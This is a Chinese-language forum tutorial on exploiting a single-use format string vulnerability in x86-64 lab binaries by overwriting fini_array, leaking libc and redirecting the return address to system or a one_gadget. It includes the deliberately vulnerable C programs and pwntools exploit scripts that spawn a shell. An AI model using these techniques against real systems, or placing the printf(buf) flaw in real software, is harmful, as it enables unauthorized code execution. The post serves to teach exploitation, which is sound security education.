-
-
[原创]格式化字符串打出没有回头路(上)
-
发表于: 2024-5-26 08:13 17867
-
格式好,格式秒,格式化字符有门道,泄露见我百步穿杨技,枪法要数回头望月高,随机取值盲打用星号,没有回头路又将如何去pwn掉。
格式化字符串一般都伴随着多次循环,但其中也有只能使用一次格式化字符串的情况,主要是利用 exit
函数执行过程中遍历 fini_array
指针数组中存储的函数地址(如下图),攻击者修改 fini_array
数组为指定内容达成攻击效果。
一般出题者都会在程序中留有 system 供答题者使用,并且为了保证攻击可以实施关闭 pie 保护,本文将由浅入深探讨在开启 pie 保护,并且没有 system 函数情况下的攻击手段。
此题目是典型的只能一次格式化字符串的情况,程序中有 system 函数,并且关闭了 pie 保护。主要攻击思路如下。
利用格式化字符串一次性修改 fini_array 中的值为要返回的函数地址,修改 printf@got 表项为 system@plt 表项地址
传入 /bin/sh\x00 执行 system("/bin/sh")
主要攻击脚本如下。
显然,上面的情况不具备一般性,是为了出题而出题,更具有一般性的题目显然不应该有 system 函数,题目如下
此题目也有两种情况,一种是关闭 pie 保护,一种是开启 pie 保护,我们将分别来处理这两种情况。
如果程序中没有 system 函数,我们面临的主要问题是第一次格式化字符串无法修改 printf@got 表项为 system@plt 表项地址,这个问题较好解决,我们修改第二次栈上的返回地址即可,通过修改 fini_array 中的值为 main 函数地址后调试并对比栈帧。
第一次:
第二次:
可以看出在本人 libc 的环境下,再次返回 dofunc 时栈帧抬高了 0xe0 。所以,在第一步时需要泄露栈地址和 libc 基地址,通过计算得出第二次的栈帧,这样在第二次使用格式化字符串时便可以修改栈上的返回地址。主要攻击思路变更如下。
利用格式化字符串一次性完成以下内容
修改栈的返回地址为 pop_rdi_ret; bin_sh_addr; system_addr
当然在攻击时还要处理几个问题
我们通常使用类似 %100c%10$hn 这种来向指定内存中写入数据,写入的数据为100。但当使用 %p%10$hn 这种来向内存写数据时, %p 会以转换出来的字符为基础,既 0x7fffffaabb00 这种形式,也就是向内存中写入的数据为14(32位程序为10)。同理,如果用 %10shn 这种形式,就是打印出的字符串数量作为写入的数据,非常庆幸的是64位程序使用6个字节的内存地址拯救了我们,got 表项高2位字节存储为 00 ,所以利用 %10shn 这种形式泄露 got 表项地址时,同时内存中写入的数据为6。(由于32位软件 got 表项里面的内容是四个字节,所以打印出字符串的数量则需要更为精确的计算,这样看来,32位程序更为困难)
如图所示,图中 %40$p%16s 在计算字符数量时应当按照箭头所指的数量计算,即为14+6=20个字符。同时,注意不能忽略用来对齐的字符。所以,计算写入字符时,前面用来泄露的内容代表了14+6+6=26个字符。
程序在第二次利用格式化字符串漏洞时,由于要修改栈帧为3个字长,共24个字节,很大几率出现发送字符过长的情况,如下图所示。
这个问题较好解决,我们执行到 dofunc
函数 ret
时观察一下寄存器的值,再选取一个可用的 One_Gadget
即可。
我选取的 One_Gadget
为 0xe6c7e。主要攻击脚本如下
相对于关闭 pie
,在开启保护之后,由于不知道 got 表地址,无法通过传入 fini_array
的地址将其直接修改为要返回的地址,同样也无法直接泄露 libc
基地址。总之,地址的随机性成了我们攻击的难点,必须灵活使用内存中现有的数据进行攻击。对于老手来说,泄露 _libc_start_main
函数地址来泄露 libc
地址是轻车熟路的事情,但是修改 fini_array
数据则相对困难,通过调试观察内存中数据如下图所示。
其中有两处可以利用的地址(可能是 puts 函数,也可能是 init_func()
,或者是程序加载产生,有待考证)。我采用的是通过爆破方式来处理,假设程序装载地址的后两个字节均为 0 ,此时,fini_array
后两位为 0x31b0
, main 的地址后两位为 elf.symbols["main"] =0x12a4
,爆破成功后再次修改栈的返回地址为 One_Gadget
,爆破时间复杂度为 O(1) = 16。
综上所述,主要攻击思路变更如下
利用格式化字符串一次性完成以下内容
爆破成功后修改栈的返回地址为 One_Gadget
题目到此为止应该已经算是解决,但在本人环境中出现了一点问题,由于 r15 指向的地方不再为0,通过 one_gadget
程序找到的 One_Gadget
都无法使用(即使设置参数 -l 10 也不行),如下图。因此,必须手动调整 One_Gadget
。
寻找 One_Gadget
无非是程序自动执行 system("/bin/sh")
或类似的程序,本着这个原则将 one_gadget
程序找到的 One_Gadget
继续向前查找,以 one_gadget
找到的 0xe6c81
为例,r12 r15 为第二、三个参数。
我们跟随 0xe6c76 返回查看,如图所示,r15 = rbp-0x50 , rbp-0x50 中存储的是 rax , 由于程序的返回值为0,所以会将rax置零。
rax 置0
所以优化后的攻击思路如下。
利用格式化字符串一次性完成以下内容
利用格式化字符串一次性完成以下内容
所以,本人使用的 One_Gadget 为 0xE6EF0 。主要攻击脚本如下。
攻击成功如下图
通过上面的流程可以发现,在解决此类问题时要做好以下几点
有经验的师傅们可以发现,在上面题目的编译中使用了-z norelro
编译选项,也就是说是NULL RELRO
防护模式,所以才能够攻击fini_array
,但这显然不是最极端的情况。如果编译选项变成gcc -z now fmt_st.c -o fmt_strx64
该如何处理呢?敬请期待下篇——回头望月
//fmt_str_once_sys.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int
sys(
char
*cmd){
system
(cmd);
}
int
init_func(){
setvbuf
(stdin,0,2,0);
setvbuf
(stdout,0,2,0);
setvbuf
(stderr,0,2,0);
return
0;
}
int
dofunc(){
char
buf[0x100] ;
puts
(
"input:"
);
read(0,buf,0x100);
printf
(buf);
return
0;
}
int
main(){
init_func();
dofunc();
return
0;
}
//gcc fmt_str_once_sys.c -no-pie -z norelro -o fmt_str_once_sys_x64
//fmt_str_once_sys.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int
sys(
char
*cmd){
system
(cmd);
}
int
init_func(){
setvbuf
(stdin,0,2,0);
setvbuf
(stdout,0,2,0);
setvbuf
(stderr,0,2,0);
return
0;
}
int
dofunc(){
char
buf[0x100] ;
puts
(
"input:"
);
read(0,buf,0x100);
printf
(buf);
return
0;
}
int
main(){
init_func();
dofunc();
return
0;
}
//gcc fmt_str_once_sys.c -no-pie -z norelro -o fmt_str_once_sys_x64
#!/usr/bin/env python3
# coding=utf-8
from
pwn
import
*
import
pwn_script
arch
=
'amd64'
pwn_script.init_pwn_linux(arch)
pwnfile
=
'./fmt_str_once_sys_x64'
io
=
process(pwnfile)
elf
=
ELF(pwnfile)
rop
=
ROP(pwnfile)
libc
=
elf.libc
dem
=
'input:\n'
io.recvuntil(dem)
fini_array
=
0x4031D0
main_adrr
=
elf.symbols[
"main"
]
printf_got
=
elf.got[
"printf"
]
system_plt
=
elf.symbols[
"system"
]
payload
=
fmtstr_payload(
6
, {fini_array :main_adrr , printf_got:system_plt})
io.send(payload)
io.sendafter(dem,b
"/bin/sh\x00"
)
io.interactive()
#!/usr/bin/env python3
# coding=utf-8
from
pwn
import
*
import
pwn_script
arch
=
'amd64'
pwn_script.init_pwn_linux(arch)
pwnfile
=
'./fmt_str_once_sys_x64'
io
=
process(pwnfile)
elf
=
ELF(pwnfile)
rop
=
ROP(pwnfile)
libc
=
elf.libc
dem
=
'input:\n'
io.recvuntil(dem)
fini_array
=
0x4031D0
main_adrr
=
elf.symbols[
"main"
]
printf_got
=
elf.got[
"printf"
]
system_plt
=
elf.symbols[
"system"
]
payload
=
fmtstr_payload(
6
, {fini_array :main_adrr , printf_got:system_plt})
io.send(payload)
io.sendafter(dem,b
"/bin/sh\x00"
)
io.interactive()
//fmt_str_once_no_sys.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
/*
int sys(char *cmd){
system(cmd);
}
*/
int
init_func(){
setvbuf
(stdin,0,2,0);
setvbuf
(stdout,0,2,0);
setvbuf
(stderr,0,2,0);
return
0;
}
int
dofunc(){
char
buf[0x100] ;
puts
(
"input:"
);
read(0,buf,0x100);
printf
(buf);
return
0;
}
int
main(){
init_func();
dofunc();
return
0;
}
//gcc fmt_str_once_no_sys.c -no-pie -z norelro -o fmt_str_once_no_sys_nopie_x64
//gcc fmt_str_once_no_sys.c -z norelro -o fmt_str_once_no_sys_pie_x64
//fmt_str_once_no_sys.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
/*
int sys(char *cmd){
system(cmd);
}
*/
int
init_func(){
setvbuf
(stdin,0,2,0);
setvbuf
(stdout,0,2,0);
setvbuf
(stderr,0,2,0);
return
0;
}
int
dofunc(){
char
buf[0x100] ;
puts
(
"input:"
);
read(0,buf,0x100);
printf
(buf);
return
0;
}
int
main(){
init_func();
dofunc();
return
0;
}
//gcc fmt_str_once_no_sys.c -no-pie -z norelro -o fmt_str_once_no_sys_nopie_x64
//gcc fmt_str_once_no_sys.c -z norelro -o fmt_str_once_no_sys_pie_x64
#!/usr/bin/env python3
# coding=utf-8
from
pwn
import
*
import
pwn_script
arch
=
'amd64'
pwn_script.init_pwn_linux(arch)
pwnfile
=
'./fmt_str_once_no_sys_nopie_x64'
io
=
process(pwnfile)
elf
=
ELF(pwnfile)
rop
=
ROP(pwnfile)
libc
=
elf.libc
dem
=
'input:\n'
io.recvuntil(dem)
payload
=
b
"%40$p%16$s"
align_len
=
16
len_a
=
align_len
-
len
(payload)
payload
=
payload.ljust(align_len,b
"a"
)
fini_array
=
0x4031A8
main_adrr
=
elf.symbols[
"main"
]
printf_got
=
elf.got[
"printf"
]
puts_got
=
elf.got[
"puts"
]
pop_rdi_ret
=
0x401363
# system_plt = elf.symbols["system"]
# %40$p 打印出的字符数为14,%16$s 打印出的字符数为 6 ,len_a 为补充对齐a的数量
numb_written
=
14
+
6
+
len_a
payload
+
=
fmtstr_payload(
8
, {fini_array :main_adrr} , numbwritten
=
numb_written)
payload
+
=
p64(puts_got)
# 将 puts@got 放在末尾
print
(payload)
io.send(payload)
io.recvuntil(b
"0x"
)
rbp_1
=
int
(io.recv(
12
),
16
)
old_rbp
=
rbp_1
-
0x10
new_rbp
=
old_rbp
-
0xe0
puts_addr
=
u64(io.recv(
6
).ljust(
8
,b
"\x00"
))
sys_addr ,binsh_addr
=
pwn_script.libcsearch_sys_sh(
"puts"
, puts_addr , path
=
libc.path)
libc_base
=
sys_addr
-
libc.symbols[
"system"
]
one_gadgat
=
libc_base
+
0xe6c7e
print
(
"old_rbp is :"
,
hex
(old_rbp))
print
(
"new_rbp is :"
,
hex
(new_rbp))
print
(
"sys_addr is :"
,
hex
(sys_addr))
print
(
"binsh_addr is :"
,
hex
(binsh_addr))
# payload = fmtstr_payload(6, {new_rbp + 0x8 :pop_rdi_ret , new_rbp+0x10:binsh_addr , new_rbp+0x18:sys_addr})
payload
=
fmtstr_payload(
6
, {new_rbp
+
0x8
:one_gadgat })
io.sendafter(dem,payload)
io.interactive()
#!/usr/bin/env python3
# coding=utf-8
from
pwn
import
*
import
pwn_script
arch
=
'amd64'
pwn_script.init_pwn_linux(arch)
pwnfile
=
'./fmt_str_once_no_sys_nopie_x64'
io
=
process(pwnfile)
elf
=
ELF(pwnfile)
rop
=
ROP(pwnfile)
libc
=
elf.libc
dem
=
'input:\n'
io.recvuntil(dem)
payload
=
b
"%40$p%16$s"
align_len
=
16
len_a
=
align_len
-
len
(payload)
payload
=
payload.ljust(align_len,b
"a"
)
fini_array
=
0x4031A8
main_adrr
=
elf.symbols[
"main"
]
printf_got
=
elf.got[
"printf"
]
puts_got
=
elf.got[
"puts"
]
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏
- [原创]反序列化的前生今世 9464
- [原创]gdb在逆向爆破中的应用 3123
- [原创]EOP编程 9255
- [原创]格式化字符串打出没有回头路(下)——回头望月 46420
- [原创]格式化字符串打出没有回头路(上) 17868